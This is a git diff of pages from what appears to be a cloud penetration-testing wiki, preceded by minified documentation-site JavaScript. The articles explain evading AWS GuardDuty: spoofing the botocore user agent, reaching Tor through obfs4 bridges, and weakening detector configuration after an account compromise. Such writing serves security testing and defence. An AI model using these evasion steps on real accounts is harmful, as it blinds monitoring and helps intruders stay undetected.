e.removeAttribute("data-md-copying"),r.trimEnd()}function li({alert$:e}){so.default.isSupported()&&new I(t=>{new so.default("[data-clipboard-target], [data-clipboard-text]",{text:r=>r.getAttribute("data-clipboard-text")||ls(F(r.getAttribute("data-clipboard-target")))}).on("success",r=>t.next(r))}).pipe(S(t=>{t.trigger.focus()}),m(()=>Me("clipboard.copied"))).subscribe(e)}function mi(e,t){if(!(e.target instanceof Element))return x;let r=e.target.closest("a");if(r===null)return x;if(r.target||e.metaKey||e.ctrlKey)return x;let o=new URL(r.href);return o.search=o.hash="",t.has(`${o}`)?(e.preventDefault(),k(r)):x}function fi(e){let t=new Map;for(let r of M(":scope > *",e.head))t.set(r.outerHTML,r);return t}function ui(e){for(let t of M("[href], [src]",e))for(let r of["href","src"]){let o=t.getAttribute(r);if(o&&!/^(?:[a-z]+:)?\/\//i.test(o)){t[r]=t[r];break}}return k(e)}function ms(e){for(let o of["[data-md-component=announce]","[data-md-component=container]","[data-md-component=header-topic]","[data-md-component=outdated]","[data-md-component=logo]","[data-md-component=skip]",...N("navigation.tabs.sticky")?["[data-md-component=tabs]"]:[]]){let n=ue(o),i=ue(o,e);typeof n!="undefined"&&typeof i!="undefined"&&n.replaceWith(i)}let t=fi(document);for(let[o,n]of fi(e))t.has(o)?t.delete(o):document.head.appendChild(n);for(let o of t.values()){let n=o.getAttribute("name");n!=="theme-color"&&n!=="color-scheme"&&o.remove()}let r=Ce("container");return qe(M("script",r)).pipe(b(o=>{let n=e.createElement("script");if(o.src){for(let i of o.getAttributeNames())n.setAttribute(i,o.getAttribute(i));return o.replaceWith(n),new I(i=>{n.onload=()=>i.complete()})}else return n.textContent=o.textContent,o.replaceWith(n),x}),re(),ae(document))}function di({sitemap$:e,location$:t,viewport$:r,progress$:o}){if(location.protocol==="file:")return x;k(document).subscribe(ui);let n=h(document.body,"click").pipe(De(e),b(([a,c])=>mi(a,c)),m(({href:a})=>new URL(a)),le()),i=h(window,"popstate").pipe(m(we),le());n.pipe(te(r)).subscribe(([a,{offset:c}])=>{history.replaceState(c,""),history.pushState(null,"",a)}),O(n,i).subscribe(t);let s=t.pipe(oe("pathname"),b(a=>yr(a,{progress$:o}).pipe(ye(()=>(at(a,!0),x)))),b(ui),b(ms),le());return O(s.pipe(te(t,(a,c)=>c)),s.pipe(b(()=>t),oe("pathname"),b(()=>t),oe("hash")),t.pipe(Y((a,c)=>a.pathname===c.pathname&&a.hash===c.hash),b(()=>n),S(()=>history.back()))).subscribe(a=>{var c,p;history.state!==null||!a.hash?window.scrollTo(0,(p=(c=history.state)==null?void 0:c.y)!=null?p:0):(history.scrollRestoration="auto",bn(a.hash),history.scrollRestoration="manual")}),t.subscribe(()=>{history.scrollRestoration="manual"}),h(window,"beforeunload").subscribe(()=>{history.scrollRestoration="auto"}),r.pipe(oe("offset"),Ae(100)).subscribe(({offset:a})=>{history.replaceState(a,"")}),N("navigation.instant.prefetch")&&O(h(document.body,"mousemove"),h(document.body,"focusin")).pipe(De(e),b(([a,c])=>mi(a,c)),Ae(25),Qr(({href:a})=>a),hr(a=>{let c=document.createElement("link");return c.rel="prefetch",c.href=a.toString(),document.head.appendChild(c),h(c,"load").pipe(m(()=>c),Ee(1))})).subscribe(a=>a.remove()),s}var vi=Gt(bi());function gi(e){let t=e.separator.split("|").map(n=>n.replace(/(\(\?[!=<][^)]+\))/g,"").length===0?"\uFFFD":n).join("|"),r=new RegExp(t,"img"),o=(n,i,s)=>`${i}${s}`;return n=>{n=n.replace(/[\s*+\-:~^]+/g," ").trim();let i=new RegExp(`(^|${e.separator}|)(${n.replace(/[|\\{}()[\]^$+*?.-]/g,"\\$&").replace(r,"|")})`,"img");return s=>(0,vi.default)(s).replace(i,o).replace(/<\/mark>(\s+)]*>/img,"$1")}}function zt(e){return e.type===1}function Sr(e){return e.type===3}function xi(e,t){let r=On(e);return O(k(location.protocol!=="file:"),Be("search")).pipe(Re(o=>o),b(()=>t)).subscribe(({config:o,docs:n})=>r.next({type:0,data:{config:o,docs:n,options:{suggest:N("search.suggest")}}})),r}function yi({document$:e}){let t=Te(),r=Ge(new URL("../versions.json",t.base)).pipe(ye(()=>x)),o=r.pipe(m(n=>{let[,i]=t.base.match(/([^/]+)\/?$/);return n.find(({version:s,aliases:a})=>s===i||a.includes(i))||n[0]}));r.pipe(m(n=>new Map(n.map(i=>[`${new URL(`../${i.version}/`,t.base)}`,i]))),b(n=>h(document.body,"click").pipe(v(i=>!i.metaKey&&!i.ctrlKey),te(o),b(([i,s])=>{if(i.target instanceof Element){let a=i.target.closest("a");if(a&&!a.target&&n.has(a.href)){let c=a.href;return!i.target.closest(".md-version")&&n.get(c)===s?x:(i.preventDefault(),k(c))}}return x}),b(i=>$t(new URL(i)).pipe(m(s=>{let c=we().href.replace(t.base,i);return s.has(c.split("#")[0])?new URL(c):new URL(i)})))))).subscribe(n=>at(n,!0)),z([r,o]).subscribe(([n,i])=>{F(".md-header__topic").appendChild(In(n,i))}),e.pipe(b(()=>o)).subscribe(n=>{var s;let i=__md_get("__outdated",sessionStorage);if(i===null){i=!0;let a=((s=t.version)==null?void 0:s.default)||"latest";Array.isArray(a)||(a=[a]);e:for(let c of a)for(let p of n.aliases.concat(n.version))if(new RegExp(c,"i").test(p)){i=!1;break e}__md_set("__outdated",i,sessionStorage)}if(i)for(let a of me("outdated"))a.hidden=!1})}function bs(e,{worker$:t}){let{searchParams:r}=we();r.has("q")&&(it("search",!0),e.value=r.get("q"),e.focus(),Be("search").pipe(Re(i=>!i)).subscribe(()=>{let i=we();i.searchParams.delete("q"),history.replaceState({},"",`${i}`)}));let o=Ke(e),n=O(t.pipe(Re(zt)),h(e,"keyup"),o).pipe(m(()=>e.value),Y());return z([n,o]).pipe(m(([i,s])=>({value:i,focus:s})),X(1))}function Ei(e,{worker$:t}){let r=new T,o=r.pipe(re(),ae(!0));z([t.pipe(Re(zt)),r],(i,s)=>s).pipe(oe("value")).subscribe(({value:i})=>t.next({type:2,data:i})),r.pipe(oe("focus")).subscribe(({focus:i})=>{i&&it("search",i)}),h(e.form,"reset").pipe(W(o)).subscribe(()=>e.focus());let n=F("header [for=__search]");return h(n,"click").subscribe(()=>e.focus()),bs(e,{worker$:t}).pipe(S(i=>r.next(i)),A(()=>r.complete()),m(i=>j({ref:e},i)),X(1))}function wi(e,{worker$:t,query$:r}){let o=new T,n=mn(e.parentElement).pipe(v(Boolean)),i=e.parentElement,s=F(":scope > :first-child",e),a=F(":scope > :last-child",e);Be("search").subscribe(l=>a.setAttribute("role",l?"list":"presentation")),o.pipe(te(r),Gr(t.pipe(Re(zt)))).subscribe(([{items:l},{value:f}])=>{switch(l.length){case 0:s.textContent=f.length?Me("search.result.none"):Me("search.result.placeholder");break;case 1:s.textContent=Me("search.result.one");break;default:let u=br(l.length);s.textContent=Me("search.result.other",u)}});let c=o.pipe(S(()=>a.innerHTML=""),b(({items:l})=>O(k(...l.slice(0,10)),k(...l.slice(10)).pipe(tt(4),Xr(n),b(([f])=>f)))),m(kn),le());return c.subscribe(l=>a.appendChild(l)),c.pipe(J(l=>{let f=ue("details",l);return typeof f=="undefined"?x:h(f,"toggle").pipe(W(o),m(()=>f))})).subscribe(l=>{l.open===!1&&l.offsetTop<=i.scrollTop&&i.scrollTo({top:l.offsetTop})}),t.pipe(v(Sr),m(({data:l})=>l)).pipe(S(l=>o.next(l)),A(()=>o.complete()),m(l=>j({ref:e},l)))}function vs(e,{query$:t}){return t.pipe(m(({value:r})=>{let o=we();return o.hash="",r=r.replace(/\s+/g,"+").replace(/&/g,"%26").replace(/=/g,"%3D"),o.search=`q=${r}`,{url:o}}))}function Ti(e,t){let r=new T,o=r.pipe(re(),ae(!0));return r.subscribe(({url:n})=>{e.setAttribute("data-clipboard-text",e.href),e.href=`${n}`}),h(e,"click").pipe(W(o)).subscribe(n=>n.preventDefault()),vs(e,t).pipe(S(n=>r.next(n)),A(()=>r.complete()),m(n=>j({ref:e},n)))}function Si(e,{worker$:t,keyboard$:r}){let o=new T,n=Ce("search-query"),i=O(h(n,"keydown"),h(n,"focus")).pipe(xe(pe),m(()=>n.value),Y());return o.pipe(De(i),m(([{suggest:a},c])=>{let p=c.split(/([\s-]+)/);if(a!=null&&a.length&&p[p.length-1]){let l=a[a.length-1];l.startsWith(p[p.length-1])&&(p[p.length-1]=l)}else p.length=0;return p})).subscribe(a=>e.innerHTML=a.join("").replace(/\s/g," ")),r.pipe(v(({mode:a})=>a==="search")).subscribe(a=>{switch(a.type){case"ArrowRight":e.innerText.length&&n.selectionStart===n.value.length&&(n.value=e.innerText);break}}),t.pipe(v(Sr),m(({data:a})=>a)).pipe(S(a=>o.next(a)),A(()=>o.complete()),m(()=>({ref:e})))}function Oi(e,{index$:t,keyboard$:r}){let o=Te();try{let n=xi(o.search,t),i=Ce("search-query",e),s=Ce("search-result",e);h(e,"click").pipe(v(({target:c})=>c instanceof Element&&!!c.closest("a"))).subscribe(()=>it("search",!1)),r.pipe(v(({mode:c})=>c==="search")).subscribe(c=>{let p=Ve();switch(c.type){case"Enter":if(p===i){let l=new Map;for(let f of M(":first-child [href]",s)){let u=f.firstElementChild;l.set(f,parseFloat(u.getAttribute("data-md-score")))}if(l.size){let[[f]]=[...l].sort(([,u],[,d])=>d-u);f.click()}c.claim()}break;case"Escape":case"Tab":it("search",!1),i.blur();break;case"ArrowUp":case"ArrowDown":if(typeof p=="undefined")i.focus();else{let l=[i,...M(":not(details) > [href], summary, details[open] [href]",s)],f=Math.max(0,(Math.max(0,l.indexOf(p))+l.length+(c.type==="ArrowUp"?-1:1))%l.length);l[f].focus()}c.claim();break;default:i!==Ve()&&i.focus()}}),r.pipe(v(({mode:c})=>c==="global")).subscribe(c=>{switch(c.type){case"f":case"s":case"/":i.focus(),i.select(),c.claim();break}});let a=Ei(i,{worker$:n});return O(a,wi(s,{worker$:n,query$:a})).pipe(Ne(...me("search-share",e).map(c=>Ti(c,{query$:a})),...me("search-suggest",e).map(c=>Si(c,{worker$:n,keyboard$:r}))))}catch(n){return e.hidden=!0,et}}function Li(e,{index$:t,location$:r}){return z([t,r.pipe(Q(we()),v(o=>!!o.searchParams.get("h")))]).pipe(m(([o,n])=>gi(o.config)(n.searchParams.get("h"))),m(o=>{var s;let n=new Map,i=document.createNodeIterator(e,NodeFilter.SHOW_TEXT);for(let a=i.nextNode();a;a=i.nextNode())if((s=a.parentElement)!=null&&s.offsetHeight){let c=a.textContent,p=o(c);p.length>c.length&&n.set(a,p)}for(let[a,c]of n){let{childNodes:p}=y("span",null,c);a.replaceWith(...Array.from(p))}return{ref:e,nodes:n}}))}function gs(e,{viewport$:t,main$:r}){let o=e.closest(".md-grid"),n=o.offsetTop-o.parentElement.offsetTop;return z([r,t]).pipe(m(([{offset:i,height:s},{offset:{y:a}}])=>(s=s+Math.min(n,Math.max(0,a-i))-n,{height:s,locked:a>=i+n})),Y((i,s)=>i.height===s.height&&i.locked===s.locked))}function co(e,o){var n=o,{header$:t}=n,r=ho(n,["header$"]);let i=F(".md-sidebar__scrollwrap",e),{y:s}=Qe(i);return $(()=>{let a=new T,c=a.pipe(re(),ae(!0)),p=a.pipe(ke(0,ge));return p.pipe(te(t)).subscribe({next([{height:l},{height:f}]){i.style.height=`${l-2*s}px`,e.style.top=`${f}px`},complete(){i.style.height="",e.style.top=""}}),p.pipe(Re()).subscribe(()=>{for(let l of M(".md-nav__link--active[href]",e)){if(!l.clientHeight)continue;let f=l.closest(".md-sidebar__scrollwrap");if(typeof f!="undefined"){let u=l.offsetTop-f.offsetTop,{height:d}=de(f);f.scrollTo({top:u-d/2})}}}),fe(M("label[tabindex]",e)).pipe(J(l=>h(l,"click").pipe(xe(pe),m(()=>l),W(c)))).subscribe(l=>{let f=F(`[id="${l.htmlFor}"]`);F(`[aria-labelledby="${l.id}"]`).setAttribute("aria-expanded",`${f.checked}`)}),N("content.tooltips")&&fe(M("abbr[title]",e)).pipe(J(l=>Je(l,{viewport$})),W(c)).subscribe(),gs(e,r).pipe(S(l=>a.next(l)),A(()=>a.complete()),m(l=>j({ref:e},l)))})}function Mi(e,t){if(typeof t!="undefined"){let r=`https://api.github.com/repos/${e}/${t}`;return bt(Ge(`${r}/releases/latest`).pipe(ye(()=>x),m(o=>({version:o.tag_name})),rt({})),Ge(r).pipe(ye(()=>x),m(o=>({stars:o.stargazers_count,forks:o.forks_count})),rt({}))).pipe(m(([o,n])=>j(j({},o),n)))}else{let r=`https://api.github.com/users/${e}`;return Ge(r).pipe(m(o=>({repositories:o.public_repos})),rt({}))}}function _i(e,t){let r=`https://${e}/api/v4/projects/${encodeURIComponent(t)}`;return Ge(r).pipe(ye(()=>x),m(({star_count:o,forks_count:n})=>({stars:o,forks:n})),rt({}))}function Ai(e){let t=e.match(/^.+github\.com\/([^/]+)\/?([^/]+)?/i);if(t){let[,r,o]=t;return Mi(r,o)}if(t=e.match(/^.+?([^/]*gitlab[^/]+)\/(.+?)\/?$/i),t){let[,r,o]=t;return _i(r,o)}return x}var xs;function ys(e){return xs||(xs=$(()=>{let t=__md_get("__source",sessionStorage);if(t)return k(t);if(me("consent").length){let o=__md_get("__consent");if(!(o&&o.github))return x}return Ai(e.href).pipe(S(o=>__md_set("__source",o,sessionStorage)))}).pipe(ye(()=>x),v(t=>Object.keys(t).length>0),m(t=>({facts:t})),X(1)))}function Ci(e){let t=F(":scope > :last-child",e);return $(()=>{let r=new T;return r.subscribe(({facts:o})=>{t.appendChild(Rn(o)),t.classList.add("md-source__repository--active")}),ys(e).pipe(S(o=>r.next(o)),A(()=>r.complete()),m(o=>j({ref:e},o)))})}function Es(e,{viewport$:t,header$:r}){return Le(document.body).pipe(b(()=>Er(e,{header$:r,viewport$:t})),m(({offset:{y:o}})=>({hidden:o>=10})),oe("hidden"))}function Hi(e,t){return $(()=>{let r=new T;return r.subscribe({next({hidden:o}){e.hidden=o},complete(){e.hidden=!1}}),(N("navigation.tabs.sticky")?k({hidden:!1}):Es(e,t)).pipe(S(o=>r.next(o)),A(()=>r.complete()),m(o=>j({ref:e},o)))})}function ws(e,{viewport$:t,header$:r}){let o=new Map,n=M(".md-nav__link",e);for(let a of n){let c=decodeURIComponent(a.hash.substring(1)),p=ue(`[id="${c}"]`);typeof p!="undefined"&&o.set(a,p)}let i=r.pipe(oe("height"),m(({height:a})=>{let c=Ce("main"),p=F(":scope > :first-child",c);return a+.8*(p.offsetTop-c.offsetTop)}),le());return Le(document.body).pipe(oe("height"),b(a=>$(()=>{let c=[];return k([...o].reduce((p,[l,f])=>{for(;c.length&&o.get(c[c.length-1]).tagName>=f.tagName;)c.pop();let u=f.offsetTop;for(;!u&&f.parentElement;)f=f.parentElement,u=f.offsetTop;let d=f.offsetParent;for(;d;d=d.offsetParent)u+=d.offsetTop;return p.set([...c=[...c,l]].reverse(),u)},new Map))}).pipe(m(c=>new Map([...c].sort(([,p],[,l])=>p-l))),De(i),b(([c,p])=>t.pipe(Ut(([l,f],{offset:{y:u},size:d})=>{let g=u+d.height>=Math.floor(a.height);for(;f.length;){let[,L]=f[0];if(L-p=u&&!g)f=[l.pop(),...f];else break}return[l,f]},[[],[...c]]),Y((l,f)=>l[0]===f[0]&&l[1]===f[1])))))).pipe(m(([a,c])=>({prev:a.map(([p])=>p),next:c.map(([p])=>p)})),Q({prev:[],next:[]}),tt(2,1),m(([a,c])=>a.prev.length{let i=new T,s=i.pipe(re(),ae(!0));if(i.subscribe(({prev:a,next:c})=>{for(let[p]of c)p.classList.remove("md-nav__link--passed"),p.classList.remove("md-nav__link--active");for(let[p,[l]]of a.entries())l.classList.add("md-nav__link--passed"),l.classList.toggle("md-nav__link--active",p===a.length-1)}),N("toc.follow")){let a=O(t.pipe(Ae(1),m(()=>{})),t.pipe(Ae(250),m(()=>"smooth")));i.pipe(v(({prev:c})=>c.length>0),De(o.pipe(xe(pe))),te(a)).subscribe(([[{prev:c}],p])=>{let[l]=c[c.length-1];if(l.offsetHeight){let f=vr(l);if(typeof f!="undefined"){let u=l.offsetTop-f.offsetTop,{height:d}=de(f);f.scrollTo({top:u-d/2,behavior:p})}}})}return N("navigation.tracking")&&t.pipe(W(s),oe("offset"),Ae(250),Pe(1),W(n.pipe(Pe(1))),vt({delay:250}),te(i)).subscribe(([,{prev:a}])=>{let c=we(),p=a[a.length-1];if(p&&p.length){let[l]=p,{hash:f}=new URL(l.href);c.hash!==f&&(c.hash=f,history.replaceState({},"",`${c}`))}else c.hash="",history.replaceState({},"",`${c}`)}),ws(e,{viewport$:t,header$:r}).pipe(S(a=>i.next(a)),A(()=>i.complete()),m(a=>j({ref:e},a)))})}function Ts(e,{viewport$:t,main$:r,target$:o}){let n=t.pipe(m(({offset:{y:s}})=>s),tt(2,1),m(([s,a])=>s>a&&a>0),Y()),i=r.pipe(m(({active:s})=>s));return z([i,n]).pipe(m(([s,a])=>!(s&&a)),Y(),W(o.pipe(Pe(1))),ae(!0),vt({delay:250}),m(s=>({hidden:s})))}function ki(e,{viewport$:t,header$:r,main$:o,target$:n}){let i=new T,s=i.pipe(re(),ae(!0));return i.subscribe({next({hidden:a}){e.hidden=a,a?(e.setAttribute("tabindex","-1"),e.blur()):e.removeAttribute("tabindex")},complete(){e.style.top="",e.hidden=!0,e.removeAttribute("tabindex")}}),r.pipe(W(s),oe("height")).subscribe(({height:a})=>{e.style.top=`${a+16}px`}),h(e,"click").subscribe(a=>{a.preventDefault(),window.scrollTo({top:0})}),Ts(e,{viewport$:t,main$:o,target$:n}).pipe(S(a=>i.next(a)),A(()=>i.complete()),m(a=>j({ref:e},a)))}function Ri({document$:e,viewport$:t}){e.pipe(b(()=>M(".md-ellipsis")),J(r=>lt(r).pipe(W(e.pipe(Pe(1))),v(o=>o),m(()=>r),Ee(1))),v(r=>r.offsetWidth{let o=r.innerText,n=r.closest("a")||r;return n.title=o,N("content.tooltips")?Je(n,{viewport$:t}).pipe(W(e.pipe(Pe(1))),A(()=>n.removeAttribute("title"))):x})).subscribe(),N("content.tooltips")&&e.pipe(b(()=>M(".md-status")),J(r=>Je(r,{viewport$:t}))).subscribe()}function Pi({document$:e,tablet$:t}){e.pipe(b(()=>M(".md-toggle--indeterminate")),S(r=>{r.indeterminate=!0,r.checked=!1}),J(r=>h(r,"change").pipe(Jr(()=>r.classList.contains("md-toggle--indeterminate")),m(()=>r))),te(t)).subscribe(([r,o])=>{r.classList.remove("md-toggle--indeterminate"),o&&(r.checked=!1)})}function Ss(){return/(iPad|iPhone|iPod)/.test(navigator.userAgent)}function Ii({document$:e}){e.pipe(b(()=>M("[data-md-scrollfix]")),S(t=>t.removeAttribute("data-md-scrollfix")),v(Ss),J(t=>h(t,"touchstart").pipe(m(()=>t)))).subscribe(t=>{let r=t.scrollTop;r===0?t.scrollTop=1:r+t.offsetHeight===t.scrollHeight&&(t.scrollTop=r-1)})}function Fi({viewport$:e,tablet$:t}){z([Be("search"),t]).pipe(m(([r,o])=>r&&!o),b(r=>k(r).pipe(ot(r?400:100))),te(e)).subscribe(([r,{offset:{y:o}}])=>{if(r)document.body.setAttribute("data-md-scrolllock",""),document.body.style.top=`-${o}px`;else{let n=-1*parseInt(document.body.style.top,10);document.body.removeAttribute("data-md-scrolllock"),document.body.style.top="",n&&window.scrollTo(0,n)}})}Object.entries||(Object.entries=function(e){let t=[];for(let r of Object.keys(e))t.push([r,e[r]]);return t});Object.values||(Object.values=function(e){let t=[];for(let r of Object.keys(e))t.push(e[r]);return t});typeof Element!="undefined"&&(Element.prototype.scrollTo||(Element.prototype.scrollTo=function(e,t){typeof e=="object"?(this.scrollLeft=e.left,this.scrollTop=e.top):(this.scrollLeft=e,this.scrollTop=t)}),Element.prototype.replaceWith||(Element.prototype.replaceWith=function(...e){let t=this.parentNode;if(t){e.length===0&&t.removeChild(this);for(let r=e.length-1;r>=0;r--){let o=e[r];typeof o=="string"?o=document.createTextNode(o):o.parentNode&&o.parentNode.removeChild(o),r?t.insertBefore(this.previousSibling,o):t.replaceChild(o,this)}}}));function Os(){return location.protocol==="file:"?At(`${new URL("search/search_index.js",Or.base)}`).pipe(m(()=>__index),X(1)):Ge(new URL("search/search_index.json",Or.base))}document.documentElement.classList.remove("no-js");document.documentElement.classList.add("js");var st=on(),Kt=dn(),kt=vn(Kt),po=un(),He=Sn(),Lr=Wt("(min-width: 960px)"),Ui=Wt("(min-width: 1220px)"),Wi=gn(),Or=Te(),Di=document.forms.namedItem("search")?Os():et,lo=new T;li({alert$:lo});pi({document$:st});var mo=new T,Ni=$t(Or.base);N("navigation.instant")&&di({sitemap$:Ni,location$:Kt,viewport$:He,progress$:mo}).subscribe(st);var ji;((ji=Or.version)==null?void 0:ji.provider)==="mike"&&yi({document$:st});O(Kt,kt).pipe(ot(125)).subscribe(()=>{it("drawer",!1),it("search",!1)});po.pipe(v(({mode:e})=>e==="global")).subscribe(e=>{switch(e.type){case"p":case",":let t=ue("link[rel=prev]");typeof t!="undefined"&&at(t);break;case"n":case".":let r=ue("link[rel=next]");typeof r!="undefined"&&at(r);break;case"Enter":let o=Ve();o instanceof HTMLLabelElement&&o.click()}});Ri({viewport$:He,document$:st});Pi({document$:st,tablet$:Lr});Ii({document$:st});Fi({viewport$:He,tablet$:Lr});var mt=ri(Ce("header"),{viewport$:He}),qt=st.pipe(m(()=>Ce("main")),b(e=>ii(e,{viewport$:He,header$:mt})),X(1)),Ls=O(...me("consent").map(e=>Mn(e,{target$:kt})),...me("dialog").map(e=>ei(e,{alert$:lo})),...me("header").map(e=>oi(e,{viewport$:He,header$:mt,main$:qt})),...me("palette").map(e=>ai(e)),...me("progress").map(e=>si(e,{progress$:mo})),...me("search").map(e=>Oi(e,{index$:Di,keyboard$:po})),...me("source").map(e=>Ci(e))),Ms=$(()=>O(...me("announce").map(e=>Ln(e)),...me("content").map(e=>Zn(e,{sitemap$:Ni,viewport$:He,target$:kt,print$:Wi})),...me("content").map(e=>N("search.highlight")?Li(e,{index$:Di,location$:Kt}):x),...me("header-title").map(e=>ni(e,{viewport$:He,header$:mt})),...me("sidebar").map(e=>e.getAttribute("data-md-type")==="navigation"?eo(Ui,()=>co(e,{viewport$:He,header$:mt,main$:qt})):eo(Lr,()=>co(e,{viewport$:He,header$:mt,main$:qt}))),...me("tabs").map(e=>Hi(e,{viewport$:He,header$:mt})),...me("toc").map(e=>$i(e,{viewport$:He,header$:mt,main$:qt,target$:kt})),...me("top").map(e=>ki(e,{viewport$:He,header$:mt,main$:qt,target$:kt})))),Vi=st.pipe(b(()=>Ms),Ne(Ls),X(1));Vi.subscribe();window.document$=st;window.location$=Kt;window.target$=kt;window.keyboard$=po;window.viewport$=He;window.tablet$=Lr;window.screen$=Ui;window.print$=Wi;window.alert$=lo;window.progress$=mo;window.component$=Vi;})(); diff --git a/aws/avoiding-detection/guardduty-pentest/index.html b/aws/avoiding-detection/guardduty-pentest/index.html index e573c95a6..7b9804fa5 100644 --- a/aws/avoiding-detection/guardduty-pentest/index.html +++ b/aws/avoiding-detection/guardduty-pentest/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Bypass GuardDuty Pentest Findings

When making AWS API requests on common penetration testing OS's GuardDuty will detect this and trigger a PenTest Finding.

This is caused by the user agent name that is passed in the API request. By modifying that we can prevent GuardDuty from detecting that we are operating from a "pentest" Linux distribution.

Warning

If your assessment requires you to remain undetected it's probably easier to leverage a "safe" OS like Ubuntu, Mac OS, or Windows.

To do this, identify the location of your session.py in the botocore package. For example, on a default Kali Linux install it can be found at /usr/lib/python3/dist-packages/awscli/botocore/session.py.

On line 456 (at the time of writing), you should see the following.

        if truncate:
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Bypass GuardDuty Pentest Findings

When making AWS API requests on common penetration testing OS's GuardDuty will detect this and trigger a PenTest Finding.

This is caused by the user agent name that is passed in the API request. By modifying that we can prevent GuardDuty from detecting that we are operating from a "pentest" Linux distribution.

Warning

If your assessment requires you to remain undetected it's probably easier to leverage a "safe" OS like Ubuntu, Mac OS, or Windows.

To do this, identify the location of your session.py in the botocore package. For example, on a default Kali Linux install it can be found at /usr/lib/python3/dist-packages/awscli/botocore/session.py.

On line 456 (at the time of writing), you should see the following.

        if truncate:
             return '%s/%s' % (self.user_agent_name, self.user_agent_version)
         base = '%s/%s Python/%s %s/%s' % (self.user_agent_name,
                                           self.user_agent_version,
@@ -39,6 +39,6 @@
 aws-cli/2.12.0 Python/3.11.5 Linux/4.4.0-22621/x86_64.kali.2023 prompt/off
 

Modified user-agent output example:

$ aws --version
 Boto3/1.9.106 Python/3.6.7 Linux/4.15.0-48-generic Botocore/1.12.156
-

modified

\ No newline at end of file diff --git a/aws/avoiding-detection/guardduty-tor-client/index.html b/aws/avoiding-detection/guardduty-tor-client/index.html index e3d86df26..6f6c52974 100644 --- a/aws/avoiding-detection/guardduty-tor-client/index.html +++ b/aws/avoiding-detection/guardduty-tor-client/index.html @@ -7,9 +7,9 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Bypass GuardDuty Tor Client Findings

UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, "this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity".

AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.

From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.

To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is apt install tor obfs4proxy and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address.

From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):

UseBridges 1
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Bypass GuardDuty Tor Client Findings

UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, "this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity".

AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.

From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.

To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is apt install tor obfs4proxy and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address.

From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):

UseBridges 1
 Bridge obfs4 *ip address*:*port* *fingerprint* cert=*cert string* iat-mode=0
 ClientTransportPlugin obfs4 exec /bin/obfs4proxy
-

You will now be able to connect to the Tor network with tor -f torrc and you can connect to the Socks5 proxy on port 9050 (by default).

\ No newline at end of file diff --git a/aws/avoiding-detection/modify-guardduty-config/index.html b/aws/avoiding-detection/modify-guardduty-config/index.html index 8fa957999..a47acb8aa 100644 --- a/aws/avoiding-detection/modify-guardduty-config/index.html +++ b/aws/avoiding-detection/modify-guardduty-config/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Ben Leembruggen

Modify GuardDuty Configuration

When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies.

Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.


Misconfiguring the Detector

An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.

Configuration changes may include a combination of:

  • Disabling the detector altogether.
  • Removing Kubernetes and s3 as data sources, which removes all S3 Protection and Kubernetes alerts.
  • Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.

Example CLI commands

# Disabling the detector
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Ben Leembruggen

Modify GuardDuty Configuration

